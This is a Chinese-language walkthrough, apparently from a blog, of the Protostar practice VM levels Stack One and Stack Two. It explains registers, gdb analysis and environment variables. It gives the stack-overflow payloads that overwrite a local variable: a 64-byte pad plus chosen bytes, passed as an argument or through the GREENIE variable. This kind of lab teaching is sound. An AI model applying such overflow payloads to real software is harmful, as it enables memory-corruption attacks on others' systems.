二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

在这里插入图片描述

前言

Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了,这里是文章链接

https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

什么是缓冲区溢出

当系统向缓冲区写入的数据多于它可以容纳的数据时,就会发生缓冲区溢出或缓冲区溢出,用更简单的话说就是在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作

什么是寄存器

寄存器是内存中非常靠近cpu的区域,因此可以快速访问它们,但是在这些寄存器里面能存储的东西非常有限

计算机寄存器是位于CPU内部的一组用于存储和处理数据的高速存储器。用于存放指令、数据和运算结果

常见的寄存器名称以及作用:

累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。

Stack One

程序静态分析

https://exploit.education/protostar/stack-one/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>int main(int argc, char **argv)
{volatile int modified;char buffer[64];if(argc == 1) {errx(1, "please specify an argument\n");}modified = 0;strcpy(buffer, argv[1]);if(modified == 0x61626364) {printf("you have correctly got the variable to the right value\n");} else {printf("Try again, you got 0x%08x\n", modified);}
}

源代码分析

首先程序定义了两个函数变量

volatile int modified;
char buffer[64];

整数型变量 modified 和字符型变量buffer,其中字符型变量buffer的字符存储最大为64个字节

然后程序检测了我们输入的参数

if(argc == 1) {errx(1, "please specify an argument\n");
}

如果我们只运行程序,不输入参数就会输出please specify an argument并结束程序

之后程序定义了一个变量和进行了一个字符串复制操作

modified = 0;
strcpy(buffer, argv[1]);

modified变量为0,然后将我们输入的参数复制到buffer变量里

然后程序做了一个简单的if判断

if(modified == 0x61626364) {printf("you have correctly got the variable to the right value\n");
} else {printf("Try again, you got 0x%08x\n", modified);

如果modified变量等于0x61626364就输出you have correctly got the variable to the right value,代表着我们破解成功
0x61626364是十六进制,转换字符串是大写的ABCD
在这里插入图片描述

也就是说,我们使modified变量变成ABCD就成功了,但是modified变量设置为0,这里我们就需要栈溢出覆盖变量原本设置的值

汇编分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

在这里插入图片描述

0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

程序最关键的地方在这里

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里,然后用cmp指令将eax寄存器里的值与0x61626364做对比,如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令

程序动态分析

我们先在程序执行对比指令的地址下一个断点

b *0x080484ab

然后设置一下自动运行我们设置的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

在这里插入图片描述

然后执行程序,并指定参数

r AAAAAAAA

在这里插入图片描述

程序执行到我们设置的断点处自动执行了我们上面设置的命令,在这里可以看到我们输入的8个大写A在栈中的位置,并且eax寄存器里的值为0

之前说过,程序将esp+0x5c地址处的值移动到了eax寄存器里,然后执行对比指令

在这里插入图片描述

我们查看esp+0x5c地址存放的值

x/wx $esp+0x5c

在这里插入图片描述

esp+0x5c地址就是栈里的0xbffff78c,每一段存放四个字符,c代表的是12

在这里插入图片描述

从存放我们输入的值的栈地址到esp+0x5c,中间共有64个字符,也就是说,我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量

在这里插入图片描述

在这里还有一个知识点是在x86架构里,读取是由低到高的,要使modified变量变成0x61626364,不能直接输入abcd,而是dcba

 python -c "print('A'*(4*16)+'dcba')"

在这里插入图片描述

成功破解了程序

Stack Two

程序静态分析

https://exploit.education/protostar/stack-two/

在这里插入图片描述
程序源代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>int main(int argc, char **argv)
{volatile int modified;char buffer[64];char *variable;variable = getenv("GREENIE");if(variable == NULL) {errx(1, "please set the GREENIE environment variable\n");}modified = 0;strcpy(buffer, variable);if(modified == 0x0d0a0d0a) {printf("you have correctly modified the variable\n");} else {printf("Try again, you got 0x%08x\n", modified);}}

这个程序代码和第一个差不多,只不过是将我们的输入变成了读取环境变量里的GREENIE变量内容

什么是环境变量

任何计算机编程语言的两个基本组成部分,变量和常量。就像数学方程式中的自变量一样。变量和常量都代表唯一的内存位置,其中包含程序在其计算中使用的数据。两者的区别在于,变量在执行过程中可能会发生变化,而常量不能重新赋值

这里只举几个常见的环境变量

$PATH

包含了一些目录列表,作用是终端会在这些目录中搜索要执行的程序
查看$PATH环境变量

echo $PATH

在这里插入图片描述

假如我要执行whoami程序,那么终端会在这个环境变量里搜索名为whoami程序

搜索的目录如下

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

在这里插入图片描述

而whoami程序在/usr/bin目录下,终端会执行这个目录下的whoami程序

在这里插入图片描述

而windows的PATH环境变量在这可以看到

在这里插入图片描述

在这里插入图片描述

$HOME

包含了当前用户的主目录

echo $HOME

在这里插入图片描述

$PWD

包含了当前用户目前所在的目录位置

在这里插入图片描述

关于环境变量的更多信息:

https://en.wikipedia.org/wiki/Environment_variable

破解程序

回到正题

variable = getenv("GREENIE");
strcpy(buffer, variable);if(modified == 0x0d0a0d0a) {printf("you have correctly modified the variable\n");} else {printf("Try again, you got 0x%08x\n", modified);}

首先获取了一个名为GREENIE的环境变量,然后将内容赋予variable变量,之后if判断modified是否等于0x0d0a0d0a,这个和第一个程序一模一样,只不过我们不是通过输入来破解程序,而是将payload放到指定的环境变量里,然后程序读取环境变量

export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

直接运行就能成功破解了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/107634.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从0到1理解ChatGPT原理

目录 写在前面 1.Tansformer架构模型 2.ChatGPT原理 3.提示学习与大模型能力的涌现 3.1提示学习 3.2上下文学习 3.3思维链 4.行业参考建议 4.1拥抱变化 4.2定位清晰 4.3合规可控 4.4经验沉淀 机械工业出版社京东自购链接 写在前面 2022年11月30日&#xff0c;ChatG…

【C语言】库宏offsetof

一.offsetof简介 因此,宏offsetof的作用是: 当你传入结构体的类型及其成员时,它会返回该成员在结构体中的偏移量. 二.offsetof的使用 如下,我们使用offsetof打印一下结构体foo中,成员a,成员b及成员c相对于首地址的偏移量分别是多少: #include <stdio.h> #include …

Vue框架--收集表单数据

下面我们介绍Vue收集表单中的数据。这一节比较重要&#xff0c;需要大家好好听&#xff0c;因为后面数据交互的时候使用的特别的多。

Redis新篇一:认识Redis

首先&#xff0c;很抱歉小伙伴们&#xff0c;前段时间一直都没有更新&#xff0c;我很抱歉&#xff0c;现在开始持续更新Redis相关内容啦&#xff01;有需要的小伙伴们可以持续关注一下小博主的新篇哦~ 希望对你们有帮助&#xff01; 作者&#xff1a;爱撸猫的程序员 博客地址…

Android kotlin开源项目-功能标题目录

目录 一、BRVAH二、开源项目1、RV列表动效&#xff08;标题目录&#xff09;2、拖拽与侧滑&#xff08;标题目录&#xff09;3、数据库&#xff08;标题目录&#xff09;4、树形图(多级菜单)&#xff08;标题目录&#xff09;5、轮播图与头条&#xff08;标题目录&#xff09;6…

Mybatis中传递多个参数的4种方法

现在大多项目都是使用Mybatis了&#xff0c;但也有些公司使用Hibernate。使用Mybatis最大的特性就是sql需要自己写&#xff0c;而写sql就需要传递多个参数。面对各种复杂的业务场景&#xff0c;传递参数也是一种学问。下面给大家总结了以下几种多参数传递的方法&#xff1a; 方…

Scrum敏捷开发流程及关键环节

​Scrum是一种敏捷开发流程&#xff0c;它旨在使软件开发更加高效和灵活。Scrum将软件开发过程分为多个短期、可重复的阶段&#xff0c;称为“Sprint”。每个Sprint通常为两周&#xff0c;旨在完成一部分开发任务。 在Scrum中&#xff0c;有一个明确的角色分工&#xff1a; 产…

使用纯C语言定义通用型数据结构的方法和示例

文章目录 前言以实现优先队列来描述实现思想基本类型的包装类型比较函数演示总结 前言 最近一段时间在复习数据结构和算法&#xff0c;用的C语言&#xff0c;不得不说&#xff0c;不学个高级语言再回头看C语言根本不知道C语言的强大和完美&#xff0c;不过相比之下也有许多不便…

小程序源码:多功能口袋工具箱微信小程序源码-带流量主|云开发(更新)

这里主要分享多功能口袋工具箱微信小程序源码&#xff0c;有带流量主&#xff0c;而且超多功能工具箱组合的微信小程序源码。无需服务器即可搭建&#xff0c;可以设置流量主赚取收益。 源码链接&#xff1a; 网盘源码 密码&#xff1a;hma8 工具箱的应用一览&#xff1a; 1…

软件测试总结1

1、 什么是软件测试? 答: 软件测试是在规定的条件下对程序进行操作&#xff0c;以发现错误&#xff0c;对软件质量进行评估。 什么是软件测试&#xff1a; 明确地提出了软件测试以检验是否满足需求为目标。 1、保证软件质量的重要手段 预期 ≈ 实际 2、 软件测试的意义 给…

css relative 和absolute布局

1、relative和absolute内部的元素都是相对于父容器&#xff0c;若父容器没有指定为relative&#xff0c;则默认为整个文档视图空间&#xff0c;absolute可以重叠元素&#xff0c;relative则不行。relative意味着元素的任意属性如left和right都是相对于其他元素的。absolute则相…

2023年澳大利亚标普ASX200指数研究报告

第一章 指数概况 1.1 指数基本情况 澳大利亚标普ASX200&#xff08;S&P/ASX200&#xff09;指数是由标准普尔&#xff08;S&P&#xff09;和澳大利亚证券交易所&#xff08;Australian Securities Exchange, ASX&#xff09;共同编制的主要股票市场指数&#xff0c;简…